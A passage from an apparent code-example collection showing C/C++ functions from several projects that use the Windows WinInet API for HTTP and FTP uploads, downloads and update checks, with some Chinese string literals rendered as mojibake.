			setClipBoardText(result.c_str());
			
			// URL を起動
			execUrl(result.c_str()); 

			bSuccess = TRUE;
		}
	} else {
		// アップロード失敗...
		LastErrorMessageBox(hwnd, _T("Cannot connect to the server."));
	}

	// ハンドルクローズ
	InternetCloseHandle(hRequest);
	InternetCloseHandle(hConnection);
	InternetCloseHandle(hSession);

	return bSuccess;

}
Esempio n. 11
0
/**
 * The function used as ZOORequest from the JavaScript environment (ZOO-API)
 *
 * @param cx the JavaScript context
 * @param argc the number of parameters
 * @param argv1 the parameter values
 * @return true
 * @see setHeader
 */
JSBool
JSRequest(JSContext *cx, uintN argc, jsval *argv1)
{
  jsval *argv = JS_ARGV(cx,argv1);
  HINTERNET hInternet;
  JSObject *header;
  char *url;
  char *method;
  char* tmpValue;
  size_t dwRead;
  JS_MaybeGC(cx);
  hInternet=InternetOpen("ZooWPSClient\0",
			 INTERNET_OPEN_TYPE_PRECONFIG,
			 NULL,NULL, 0);
  if(!CHECK_INET_HANDLE(hInternet))
    return JS_FALSE;
  if(argc>=2){
    method=JSValToChar(cx,&argv[0]);
    url=JSValToChar(cx,&argv[1]);
  }
  else{
    method=zStrdup("GET");
    url=JSValToChar(cx,argv);
  }
  hInternet.waitingRequests[hInternet.nb]=strdup(url);
  if(argc==4){
    char *body;
    body=JSValToChar(cx,&argv[2]);
    header=JSVAL_TO_OBJECT(argv[3]);
#ifdef ULINET_DEBUG
    fprintf(stderr,"URL (%s) \nBODY (%s)\n",url,body);
#endif
    if(JS_IsArrayObject(cx,header))
      setHeader(&hInternet,cx,header);
#ifdef ULINET_DEBUG
    fprintf(stderr,"BODY (%s)\n",body);
#endif
    InternetOpenUrl(&hInternet,hInternet.waitingRequests[hInternet.nb],body,strlen(body),
		    INTERNET_FLAG_NO_CACHE_WRITE,0);    
    processDownloads(&hInternet);
    free(body);
  }else{
    if(argc==3){
      if(strncasecmp(method,"GET",3)==0){
	header=JSVAL_TO_OBJECT(argv[2]);
	if(JS_IsArrayObject(cx,header)){
	  setHeader(&hInternet,cx,header);
	}
	InternetOpenUrl(&hInternet,hInternet.waitingRequests[hInternet.nb],NULL,0,
			INTERNET_FLAG_NO_CACHE_WRITE,0);
	processDownloads(&hInternet);
      }else{
	char *body=JSValToChar(cx,&argv[2]);
	InternetOpenUrl(&hInternet,hInternet.waitingRequests[hInternet.nb],body,strlen(body),
			INTERNET_FLAG_NO_CACHE_WRITE,0);
	processDownloads(&hInternet);
	free(body);
      }
    }else{
      InternetOpenUrl(&hInternet,hInternet.waitingRequests[hInternet.nb],NULL,0,
		      INTERNET_FLAG_NO_CACHE_WRITE,0);
      processDownloads(&hInternet);
    }
  }
  tmpValue=(char*)malloc((hInternet.ihandle[0].nDataLen+1)*sizeof(char));
  InternetReadFile(hInternet.ihandle[0],(LPVOID)tmpValue,hInternet.ihandle[0].nDataLen,&dwRead);
#ifdef ULINET_DEBUG
  fprintf(stderr,"content downloaded (%d) (%s) \n",dwRead,tmpValue);
#endif
  if(dwRead==0){
    JS_SET_RVAL(cx, argv1,STRING_TO_JSVAL(JS_NewStringCopyN(cx,"Unable to access the file.",strlen("Unable to access the file."))));
    return JS_TRUE;
  }

#ifdef ULINET_DEBUG
  fprintf(stderr,"content downloaded (%d) (%s) \n",dwRead,tmpValue);
#endif
  JS_SET_RVAL(cx, argv1,STRING_TO_JSVAL(JS_NewStringCopyN(cx,tmpValue,strlen(tmpValue))));
  free(url);
  if(argc>=2)
    free(method);
  InternetCloseHandle(&hInternet);
  JS_MaybeGC(cx);
  return JS_TRUE;
}
Esempio n. 12
0
netio_ie5_t * 
netio_ie5_connect (char const *url)
{
  int resend = 0;
  DWORD type, type_s;
  netio_ie5_t * netio_ie5_conn;
  DWORD dw_ret;
  DWORD flags =
 /*    INTERNET_FLAG_DONT_CACHE |*/
    INTERNET_FLAG_KEEP_CONNECTION |
    INTERNET_FLAG_PRAGMA_NOCACHE |
    INTERNET_FLAG_RELOAD |
    INTERNET_FLAG_NO_CACHE_WRITE |
    INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_PASSIVE;

  if (internet == 0)
    {
      HINSTANCE h = LoadLibrary ("wininet.dll");
      if (!h)
	{
          /* XXX - how to return an error code? */
          g_warning("Failed to load wininet.dll");
	  return NULL;
	}
      /* pop-up dialup dialog box */
      /* XXX - do we need the dialup box or simply don't attempt an update in this case? */
      dw_ret = InternetAttemptConnect (0);
      if (dw_ret != ERROR_SUCCESS) {
        g_warning("InternetAttemptConnect failed: %u", dw_ret);
        return NULL;
      }
      internet = InternetOpen ("Wireshark Update", INTERNET_OPEN_TYPE_PRECONFIG,
			       NULL, NULL, 0);
      if(internet == NULL) {
        g_warning("InternetOpen failed %u", GetLastError());
        return NULL;
      }
    }

  netio_ie5_conn = g_malloc(sizeof(netio_ie5_t));

  netio_ie5_conn->connection = InternetOpenUrl (internet, url, NULL, 0, flags, 0);

try_again:

#if 0
	/* XXX - implement this option */
  if (net_user && net_passwd)
    {
      InternetSetOption (connection, INTERNET_OPTION_USERNAME,
			 net_user, strlen (net_user));
      InternetSetOption (connection, INTERNET_OPTION_PASSWORD,
			 net_passwd, strlen (net_passwd));
    }
#endif

#if 0
	/* XXX - implement this option */
  if (net_proxy_user && net_proxy_passwd)
    {
      InternetSetOption (connection, INTERNET_OPTION_PROXY_USERNAME,
			 net_proxy_user, strlen (net_proxy_user));
      InternetSetOption (connection, INTERNET_OPTION_PROXY_PASSWORD,
			 net_proxy_passwd, strlen (net_proxy_passwd));
    }
#endif

  if (resend)
    if (!HttpSendRequest (netio_ie5_conn->connection, 0, 0, 0, 0))
      netio_ie5_conn->connection = 0;

  if (!netio_ie5_conn->connection)
    {
      switch(GetLastError ()) {
      case ERROR_INTERNET_EXTENDED_ERROR:
          {
	  char buf[2000];
	  DWORD e, l = sizeof (buf);
	  InternetGetLastResponseInfo (&e, buf, &l);
	  MessageBox (0, buf, "Internet Error", 0);
          }
          break;
      case ERROR_INTERNET_NAME_NOT_RESOLVED:
          g_warning("Internet error: The servername could not be resolved");
          break;
      case ERROR_INTERNET_CANNOT_CONNECT:
          g_warning("Internet error: Could not connect to the server");
          break;
      default:
          g_warning("Internet error: %u", GetLastError ());
      }
      return NULL;
    }

  type_s = sizeof (type);
  InternetQueryOption (netio_ie5_conn->connection, INTERNET_OPTION_HANDLE_TYPE,
		       &type, &type_s);

  switch (type)
    {
    case INTERNET_HANDLE_TYPE_HTTP_REQUEST:
    case INTERNET_HANDLE_TYPE_CONNECT_HTTP:
      type_s = sizeof (DWORD);
      if (HttpQueryInfo (netio_ie5_conn->connection,
			 HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER,
			 &type, &type_s, NULL))
	{
	  if (type == 401)	/* authorization required */
	    {
	      netio_ie5_flush_io (netio_ie5_conn);
              /* XXX - query net_user && net_passwd from user
	      get_auth (NULL);*/
	      resend = 1;
	      goto try_again;
	    }
	  else if (type == 407)	/* proxy authorization required */
	    {
	      netio_ie5_flush_io (netio_ie5_conn);
              /* XXX - query net_proxy_user && net_proxy_passwd from user
	      get_proxy_auth (NULL);*/
	      resend = 1;
	      goto try_again;
	    }
	  else if (type >= 300)
	    {
              g_warning("Failed with HTTP response %u", type);
              g_free(netio_ie5_conn);
	      return NULL;
	    }
	}
    }
	
	return netio_ie5_conn;
}
Esempio n. 13
0
bool HttpPost(const WCHAR *server, const WCHAR *url, str::Str<char> *headers, str::Str<char> *data)
{
    str::Str<char> resp(2048);
    bool ok = false;
    HINTERNET hConn = NULL, hReq = NULL;
    HINTERNET hInet = InternetOpen(USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInet)
        goto Exit;
    hConn = InternetConnect(hInet, server, INTERNET_DEFAULT_HTTP_PORT,
                            NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
    if (!hConn)
        goto Exit;

    DWORD flags = INTERNET_FLAG_KEEP_CONNECTION;
    hReq = HttpOpenRequest(hConn, L"POST", url, NULL, NULL, NULL, flags, NULL);
    if (!hReq)
        goto Exit;
    char *hdr = NULL;
    DWORD hdrLen = 0;
    if (headers && headers->Count() > 0) {
        hdr = headers->Get();
        hdrLen = (DWORD)headers->Count();
    }
    void *d = NULL;
    DWORD dLen = 0;
    if (data && data->Count() > 0) {
        d = data->Get();
        dLen = (DWORD)data->Count();
    }

    unsigned int timeoutMs = 15 * 1000;
    InternetSetOption(hReq, INTERNET_OPTION_SEND_TIMEOUT,
                      &timeoutMs, sizeof(timeoutMs));

    InternetSetOption(hReq, INTERNET_OPTION_RECEIVE_TIMEOUT,
                      &timeoutMs, sizeof(timeoutMs));

    if (!HttpSendRequestA(hReq, hdr, hdrLen, d, dLen))
        goto Exit;

    // Get the response status.
    DWORD respHttpCode = 0;
    DWORD respHttpCodeSize = sizeof(respHttpCode);
    HttpQueryInfo(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER,
                       &respHttpCode, &respHttpCodeSize, 0);

    DWORD dwRead;
    do {
        char buf[1024];
        if (!InternetReadFile(hReq, buf, sizeof(buf), &dwRead))
            goto Exit;
        resp.Append(buf, dwRead);
    } while (dwRead > 0);

#if 0
    // it looks like I should be calling HttpEndRequest(), but it always claims
    // a timeout even though the data has been sent, received and we get HTTP 200
    if (!HttpEndRequest(hReq, NULL, 0, 0)) {
        LogLastError();
        goto Exit;
    }
#endif
    ok = (200 == respHttpCode);
Exit:
    if (hReq)
        InternetCloseHandle(hReq);
    if (hConn)
        InternetCloseHandle(hConn);
    if (hInet)
        InternetCloseHandle(hInet);
    return ok;
}
Esempio n. 14
0
BOOL baidu_download(CString dfile, CString token, CString fname,DWORD *process)
{
	if (dfile == L"")
	{
		MessageBox(NULL,L"Îļþ·¾¶²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	if (token == L"")
	{
		MessageBox(NULL, L"token²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	if (fname == L"")
	{
		MessageBox(NULL, L"ÎļþÃû²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	CString url(L"/rest/2.0/pcs/file?method=download&path=%2Fapps%2Fhitdisk%2F" + fname + L"&access_token=" + token);


	DWORD headlength;
	DWORD FileLength;//Îļþ³¤¶È
	TCHAR* szBuff;//»º³åÇø
	DWORD bfsize = 1024 * 64;//»º³åÇø´óС
	TCHAR* FileBuff;//½âÎöÎļþ³¤¶ÈÖ¸Õë

	BOOL bResult = TRUE;
	HINTERNET hRequest = NULL;
	HINTERNET hConnect = NULL;
	HINTERNET hnet = InternetOpen(TEXT("Test"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

	hConnect = InternetConnect(hnet, TEXT("pcs.baidu.com"), 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hRequest = HttpOpenRequest(hConnect, TEXT("GET"), url, NULL, NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_RELOAD, 0);

	bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);

	//½âÎöÎļþ³¤¶È
	DWORD i;
	szBuff = new TCHAR[bfsize];
	headlength = bfsize;
	bResult = HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szBuff, &headlength, NULL);
	FileBuff = wcsstr(szBuff, L"Content-Length");
	FileBuff += 16;
	for (i = 0;; i++)
	{
		if (FileBuff[i] == '\r')
			break;
	}
	FileLength = CharToDword(FileBuff, i);

	CFile cfile(dfile, CFile::modeWrite | CFile::modeCreate);

	DWORD wbfclength = 0;//»º³åÇøµ±Ç°Êý¾Ý³¤¶È
	DWORD wbfsize = 1024 * 1024;//»º³åÇø´óС
	char *WriteBuffer = new char[wbfsize];//ÎļþдÈ뻺³åÇø

	CString show_process;
	DWORD dwBytesAvailable;
	DWORD FileReceived = 0;
	BOOL error = TRUE;
	BOOL cmp = 0;
	while (InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0))
	{
		DWORD dwBytesRead;
		if (dwBytesAvailable <= bfsize)
		{
			bResult = InternetReadFile(hRequest, szBuff, dwBytesAvailable, &dwBytesRead);
		}
		else
		{
			bResult = InternetReadFile(hRequest, szBuff, bfsize, &dwBytesRead);
		}
		FileReceived += dwBytesRead;

		CopyMemory(WriteBuffer + wbfclength, szBuff, dwBytesRead);
		if (error)
		{
			szBuff[13] = '\0';
			cmp = _strnicmp((char *)szBuff,"{\"error_code\"" , 13);
			if (cmp == 0)
			{
				*process = 100;
				InternetCloseHandle(hRequest);
				InternetCloseHandle(hConnect);
				InternetCloseHandle(hnet);
				cfile.Close();
				cfile.Remove(dfile);
				delete[] szBuff;
				delete[] WriteBuffer;
				return FALSE;
			}
		}
		wbfclength += dwBytesRead;
		if (wbfclength > wbfsize - bfsize)
		{
			cfile.Write(WriteBuffer, wbfclength);
			wbfclength = 0;
		}
		*process = (DWORD)(100 * (double)FileReceived / FileLength);
		if (dwBytesRead == 0)
			break;  // End of File.
	}

	if (wbfclength)
		cfile.Write(WriteBuffer, wbfclength);

	InternetCloseHandle(hRequest);
	InternetCloseHandle(hConnect);
	InternetCloseHandle(hnet);
	cfile.Close();
	delete[] szBuff;
	delete[] WriteBuffer;

	return TRUE;
}
BOOL vmsPostRequest::Send(LPCTSTR ptszServer, LPCTSTR ptszFilePath, LPCVOID pvData, DWORD dwDataSize, LPCTSTR ptszContentType, std::string *pstrResponse)
{
	Close ();

	DWORD dwAccessType = INTERNET_OPEN_TYPE_PRECONFIG;
	if (m_pProxyInfo)
		dwAccessType = m_pProxyInfo->tstrAddr.empty () ? INTERNET_OPEN_TYPE_DIRECT : INTERNET_OPEN_TYPE_PROXY;
	m_hInet = InternetOpen (m_tstrUserAgent.c_str (), dwAccessType,
		dwAccessType == INTERNET_OPEN_TYPE_PROXY ? m_pProxyInfo->tstrAddr.c_str () : NULL, NULL, 0);
	if (m_hInet == NULL)
		return FALSE;

	PostInitWinInetHandle (m_hInet);

	m_hConnect = InternetConnect (m_hInet, ptszServer, INTERNET_DEFAULT_HTTP_PORT, 
		NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
	if (m_hConnect == NULL)
		return FALSE;

#ifdef DEBUG_SHOW_SERVER_REQUESTS
	TCHAR tszTmpPath [MAX_PATH];
	GetTempPath (MAX_PATH, tszTmpPath);
	TCHAR tszTmpFile [MAX_PATH];
	_stprintf (tszTmpFile, _T ("%s\\si_serv_req_%d.txt"), tszTmpPath, _c++);
	HANDLE hLog = CreateFile (tszTmpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	DWORD dwLogWritten;
	#define LOG_REQ(s) WriteFile (hLog, s, strlen (s), &dwLogWritten, NULL)
	#define LOG_REQ_OPEN	CloseHandle (hLog); ShellExecute (NULL, "open", tszTmpFile, NULL, NULL, SW_SHOW);
	char szTmp [10000] = ""; DWORD dwTmp = 10000;
	#define LOG_REQ_HTTP_HDRS *szTmp = 0; HttpQueryInfo (m_hRequest, HTTP_QUERY_RAW_HEADERS_CRLF | HTTP_QUERY_FLAG_REQUEST_HEADERS, szTmp, &dwTmp, 0); LOG_REQ (szTmp);
	#define LOG_REQ_ALL LOG_REQ_HTTP_HDRS; LOG_REQ ((LPCSTR)pvData);
	#define LOG_RESP_HTTP_HDRS *szTmp = 0; HttpQueryInfo (m_hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szTmp, &dwTmp, 0); LOG_REQ (szTmp);
	DWORD dwErr;
#else
	#define LOG_REQ(s) 
	#define LOG_REQ_OPEN
	#define LOG_REQ_HTTP_HDRS
	#define LOG_RESP_HTTP_HDRS
	#define LOG_REQ_ALL
#endif

	m_hRequest = HttpOpenRequest (m_hConnect, _T ("POST"), ptszFilePath, NULL, NULL, NULL,
		INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | 
		INTERNET_FLAG_PRAGMA_NOCACHE, 0);
	if (m_hRequest == NULL)
	{
		DWORD dwErr = GetLastError ();
		LOG_REQ ("SERVER FAILURE\r\n");
		LOG_REQ_OPEN;
		SetLastError (dwErr);
		return FALSE;
	}

	ApplyProxyAuth (m_hRequest);

	if (ptszContentType)
	{
		tstring tstr = _T ("Content-Type: ");
		tstr += ptszContentType;
		tstr += _T ("\r\n");
		HttpAddRequestHeaders (m_hRequest, tstr.c_str (), tstr.length (), HTTP_ADDREQ_FLAG_ADD|HTTP_ADDREQ_FLAG_REPLACE);
	}

#ifdef vmsPostRequest_USE_NO_HTTPSENDREQUESTEX
	if (FALSE == HttpSendRequest (m_hRequest, NULL, 0, (LPVOID)pvData, dwDataSize))
		return FALSE;
#else
	INTERNET_BUFFERS buffs;
	ZeroMemory (&buffs, sizeof (buffs));
	buffs.dwStructSize = sizeof (buffs);
	buffs.dwBufferTotal = dwDataSize;

	if (FALSE == HttpSendRequestEx (m_hRequest, &buffs, NULL, 0, 0))
	{
		PUL (" >>> HttpSendRequestEx failed.");
		LOG_REQ ("SERVER FAILURE\r\n");
		LOG_REQ_OPEN;
		return FALSE;
	}

	if (FALSE == MyInternetWriteFile (m_hRequest, pvData, dwDataSize))
	{
		PUL (" >>> MyInternetWriteFile failed.");
		LOG_REQ ("SERVER FAILURE\r\n");
		LOG_REQ_OPEN;
		return FALSE;
	}

	if (FALSE == HttpEndRequest (m_hRequest, NULL, 0, 0))
	{
		PUL (" >>> HttpEndRequest failed.");
		LOG_REQ_ALL;
		LOG_REQ ("\r\n\r\n");
		LOG_RESP_HTTP_HDRS;
		LOG_REQ ("SERVER FAILURE\r\n");
		LOG_REQ_OPEN;
		return FALSE;
	}
#endif

	LOG_REQ_ALL;
	LOG_REQ ("\r\n\r\n");
	LOG_RESP_HTTP_HDRS;

	if (pstrResponse)
	{
		*pstrResponse = "";
		char sz [1025];
		DWORD dw;		
		while (InternetReadFile (m_hRequest, sz, sizeof (sz) - 1, &dw) && dw != 0)
		{
			sz [dw] = 0;
			(*pstrResponse) += sz;
		}
	}

	LOG_REQ_OPEN;
	return TRUE;
}
void CFTPTransferDlg::TransferThread()
{
	//Create the Internet session handle (if needed)
	if (!m_bUsingAttached)
	{
		ASSERT(m_hInternetSession == NULL);
//		m_hInternetSession = ::InternetOpen(AfxGetAppName(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
		m_hInternetSession = InternetOpen("Ftp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
		if (m_hInternetSession == NULL)
		{
			TRACE(_T("Failed in call to InternetOpen, Error:%d\n"), ::GetLastError());
			HandleThreadErrorWithLastError(IDS_FTPTRANSFER_GENERIC_ERROR);
			return;
		}
		
		//Should we exit the thread
		if (m_bAbort)
		{
			PostMessage(WM_FTPTRANSFER_THREAD_FINISHED);
			return;
		} 
	} 
	ASSERT(m_hInternetSession);  
	
	//Setup the status callback function on the Internet session handle
	INTERNET_STATUS_CALLBACK pOldCallback = ::InternetSetStatusCallback(m_hInternetSession, _OnStatusCallBack);
	if (pOldCallback == INTERNET_INVALID_STATUS_CALLBACK)
	{
		TRACE(_T("Failed in call to InternetSetStatusCallback, Error:%d\n"), ::GetLastError());
		HandleThreadErrorWithLastError(IDS_FTPTRANSFER_GENERIC_ERROR);
		return;
	}
	
	//Should we exit the thread
	if (m_bAbort)
	{
		if (pOldCallback)
			::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
		PostMessage(WM_FTPTRANSFER_THREAD_FINISHED);
		return;
	}  
	
	//Make the connection to the FTP server (if needed)
	if (!m_bUsingAttached)
	{
		ASSERT(m_hFTPConnection == NULL);
		ASSERT(m_sServer.GetLength());
		if (m_sUserName.GetLength())
//			m_hFTPConnection = ::InternetConnect(m_hInternetSession, m_sServer, m_nPort, m_sUserName, 
//			m_sPassword, INTERNET_SERVICE_FTP, 0, (DWORD) this);
			
			m_hFTPConnection = ::InternetConnect(m_hInternetSession, m_sServer, m_nPort, m_sUserName,
			m_sPassword, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
		else
			m_hFTPConnection = ::InternetConnect(m_hInternetSession, m_sServer, m_nPort, NULL, 
			NULL, INTERNET_SERVICE_FTP, 0, (DWORD) this);
		if (m_hFTPConnection == NULL)
		{
			TRACE(_T("Failed in call to InternetConnect, Error:%d\n"), ::GetLastError());
			if (pOldCallback)
				::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
			HandleThreadErrorWithLastError(IDS_FTPTRANSFER_FAIL_CONNECT_SERVER);
			return;
		}
		
		//Should we exit the thread
		if (m_bAbort)
		{
			if (pOldCallback)
				::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
			PostMessage(WM_FTPTRANSFER_THREAD_FINISHED);
			return;
		} 
	}
	ASSERT(m_hFTPConnection); 
	
	//Start the animation to signify that the download is taking place
	PlayAnimation();
	
	//Update the status control to reflect that we are getting the file information
	SetStatus(IDS_FTPTRANSFER_GETTING_FILE_INFORMATION);
	
	// Get the length of the file to transfer		   
	DWORD dwFileSize = 0;
	BOOL bGotFileSize = FALSE;
	if (m_bDownload)
	{
		WIN32_FIND_DATA wfd;
		HINTERNET hFind = ::FtpFindFirstFile(m_hFTPConnection, m_sRemoteFile, &wfd, INTERNET_FLAG_RELOAD | 
			INTERNET_FLAG_DONT_CACHE, (DWORD) this); 
		if (hFind)
		{
			//Set the progress control range
			bGotFileSize = TRUE;
			dwFileSize = (DWORD) wfd.nFileSizeLow;
//			SetProgressRange(dwFileSize);
			SetProgressRange(0,100);
			
			//Destroy the enumeration handle now that we are finished with it
			InternetCloseHandle(hFind);
		}
	}
	else
	{
		bGotFileSize = TRUE;
		dwFileSize = m_LocalFile.GetLength();
//		SetProgressRange(dwFileSize);
		SetProgressRange(0, 100);
	}
	
	//Should we exit the thread
	if (m_bAbort)
	{
		if (pOldCallback)
			::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
		PostMessage(WM_FTPTRANSFER_THREAD_FINISHED);
		return;
	}  
	
	//check to see if the file already exists on the server  
	if (!m_bDownload)
	{
		WIN32_FIND_DATA wfd;
		HINTERNET hFind = ::FtpFindFirstFile(m_hFTPConnection, m_sRemoteFile, &wfd, INTERNET_FLAG_RELOAD | 
			INTERNET_FLAG_DONT_CACHE, (DWORD) this); 
		BOOL bFound = FALSE;
		if (hFind)
		{
			bFound = TRUE;
			
			//Destroy the enumeration handle now that we are finished with it
			InternetCloseHandle(hFind);
		}
		
		if (bFound && SendMessage(WM_FTPTRANSFER_ASK_OVERWRITE_FILE) == 0)	
		{
			if (pOldCallback)
				::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
			PostMessage(WM_FTPTRANSFER_THREAD_FINISHED, 1);
			return;
		}
	}
	
	//Should we exit the thread
	if (m_bAbort)
	{
		if (pOldCallback)
			::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
		PostMessage(WM_FTPTRANSFER_THREAD_FINISHED);
		return;
	}  
	
	//Open the remote file
	ASSERT(m_hFTPFile == NULL);
	if (m_bDownload)
	{
		if (m_bBinary)
			m_hFTPFile = FtpOpenFile(m_hFTPConnection, m_sRemoteFile, GENERIC_READ, FTP_TRANSFER_TYPE_BINARY | 
			INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this);
		else
			m_hFTPFile = FtpOpenFile(m_hFTPConnection, m_sRemoteFile, GENERIC_READ, FTP_TRANSFER_TYPE_ASCII | 
			INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this);
	}
	else
	{
		if (m_bBinary)	
			m_hFTPFile = FtpOpenFile(m_hFTPConnection, m_sRemoteFile, GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY | 
			INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this);
		else
			m_hFTPFile = FtpOpenFile(m_hFTPConnection, m_sRemoteFile, GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII | 
			INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this);
	}
	if (m_hFTPFile == NULL)
	{
		TRACE(_T("Failed in call to FtpOpenFile, Error:%d\n"), ::GetLastError());
		if (pOldCallback)
			::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
		HandleThreadErrorWithLastError(IDS_FTPTRANSFER_FAIL_OPEN_FILE);
		return;
	}
	
	//Should we exit the thread
	if (m_bAbort)
	{
		if (pOldCallback)
			::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
		PostMessage(WM_FTPTRANSFER_THREAD_FINISHED);
		return;
	}  
	
	//Update the status to say that we are now uploading / downloading the file
	if (m_bDownload)
		SetStatus(IDS_FTPTRANSFER_RETREIVEING_FILE);
	else
		SetStatus(IDS_FTPTRANSFER_UPLOADING_FILE);
	
	//Now do the actual reading / writing of the file
	DWORD dwStartTicks = ::GetTickCount();
	DWORD dwCurrentTicks = dwStartTicks;
	DWORD dwBytesRead = 0;
	DWORD dwBytesWritten = 0;
	char szReadBuf[1024];
	DWORD dwBytesToRead = 1024;
	DWORD dwTotalBytesRead = 0;
	DWORD dwTotalBytesWritten = 0;	
	DWORD dwLastTotalBytes = 0;
	DWORD dwLastPercentage = 0;
	do
	{
		if (m_bDownload)
		{
			//Read from the remote file
			if (!::InternetReadFile(m_hFTPFile, szReadBuf, dwBytesToRead, &dwBytesRead))
			{
				TRACE(_T("Failed in call to InternetReadFile, Error:%d\n"), ::GetLastError());
				if (pOldCallback)
					::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
				HandleThreadErrorWithLastError(IDS_FTPTRANSFER_ERROR_READFILE);
				return;
			}
			else if (dwBytesRead && !m_bAbort)
			{
				//Write the data to file
				TRY
				{
					m_LocalFile.Write(szReadBuf, dwBytesRead);
				}
				CATCH(CFileException, e);										   
				{
					TRACE(_T("An exception occured while writing to the download file\n"));
					if (pOldCallback)
						::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
					HandleThreadErrorWithLastError(IDS_FTPTRANSFER_ERROR_READFILE, e->m_lOsError);
					e->Delete();
					return;
				}
				END_CATCH
					
					//Increment the total number of bytes read
					dwTotalBytesRead += dwBytesRead;  
				
				UpdateControlsDuringTransfer(dwStartTicks, dwCurrentTicks, dwTotalBytesRead, dwLastTotalBytes, 
					dwLastPercentage, bGotFileSize, dwFileSize);
			}
		}
		else
		{
			//Read the data from the local file
			TRY
			{
				dwBytesRead = m_LocalFile.Read(szReadBuf, 1024);
			}
			CATCH(CFileException, e);										 
			{
				TRACE(_T("An exception occured while reading the local file\n"));
				if (pOldCallback)
					::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
				HandleThreadErrorWithLastError(IDS_FTPTRANSFER_ERROR_READFILE, e->m_lOsError);
				e->Delete();
				return;
			}
			END_CATCH
				
				//Write to the remote file
				if (dwBytesRead)
				{
					if (!::InternetWriteFile(m_hFTPFile, szReadBuf, dwBytesRead, &dwBytesWritten))
					{
						TRACE(_T("Failed in call to InternetWriteFile, Error:%d\n"), ::GetLastError());
						if (pOldCallback)
							::InternetSetStatusCallback(m_hInternetSession, pOldCallback);
						HandleThreadErrorWithLastError(IDS_FTPTRANSFER_ERROR_WRITEFILE);
						return;
					}
					else if (dwBytesWritten && !m_bAbort)
					{
						//Increment the total number of bytes read
						dwTotalBytesWritten += dwBytesWritten;	
						
						UpdateControlsDuringTransfer(dwStartTicks, dwCurrentTicks, dwTotalBytesWritten, dwLastTotalBytes, 
							dwLastPercentage, bGotFileSize, dwFileSize);
					}
				}
		}
	} 
Esempio n. 17
0
unsigned long
DownloadFile(const char *filename, const char *url, unsigned long size)
{
    HINTERNET inet;
    HINTERNET connection;
    FILE *out;
    char buf[1024*10];
    char line[1024];
    long readBytes;
    unsigned long totalBytes = 0;
    int error = 0;
    HWND dlg;
    HWND progress;
    HWND label;
    MSG msg;

    /**
     * TODO: Check if filename exists and is size bytes long - if so,
     * return size immediately without downloading the file again.
     **/

#if defined(GPODDER_GUI)
    dlg = CreateDialog(NULL, "PROGRESS", NULL, NULL);

    progress = GetDlgItem(dlg, 1);
    SendMessage(progress, PBM_SETRANGE, 0, MAKELPARAM(0, 100));

    label = GetDlgItem(dlg, 3);
    SendMessage(label, WM_SETTEXT, 0, (LPARAM)filename);

    label = GetDlgItem(dlg, 4);
#endif

    inet = InternetOpen("gpodder-dependency-downloader",
            INTERNET_OPEN_TYPE_PRECONFIG,
            NULL,
            NULL,
            0);

    connection = InternetOpenUrl(inet,
            url,
            NULL,
            0,
            INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_CACHE_WRITE |
            INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI,
            0);

    out = fopen(filename, "wb");
    if (out == NULL) {
        error = 1;
    }

    while (out != NULL) {
        if (!InternetReadFile(connection,
                    buf,
                    sizeof(buf),
                    &readBytes)) {
            error = 1;
            break;
        }

        if (readBytes == 0) {
            break;
        }

        fwrite(buf, readBytes, 1, out);

        totalBytes += readBytes;

        snprintf(line, sizeof(line), "%.2f / %.2f MB",
                (float)totalBytes / (float)(1024*1024),
                (float)size / (float)(1024*1024));

#if defined(GPODDER_CLI)
        fprintf(stderr, "Downloading: %s\r", line);
#endif

#if defined(GPODDER_GUI)
        SendMessage(label, WM_SETTEXT,
                0, (LPARAM)TEXT(line));

        SendMessage(progress, PBM_SETPOS,
                (int)(100*(float)totalBytes/(float)size), 0);

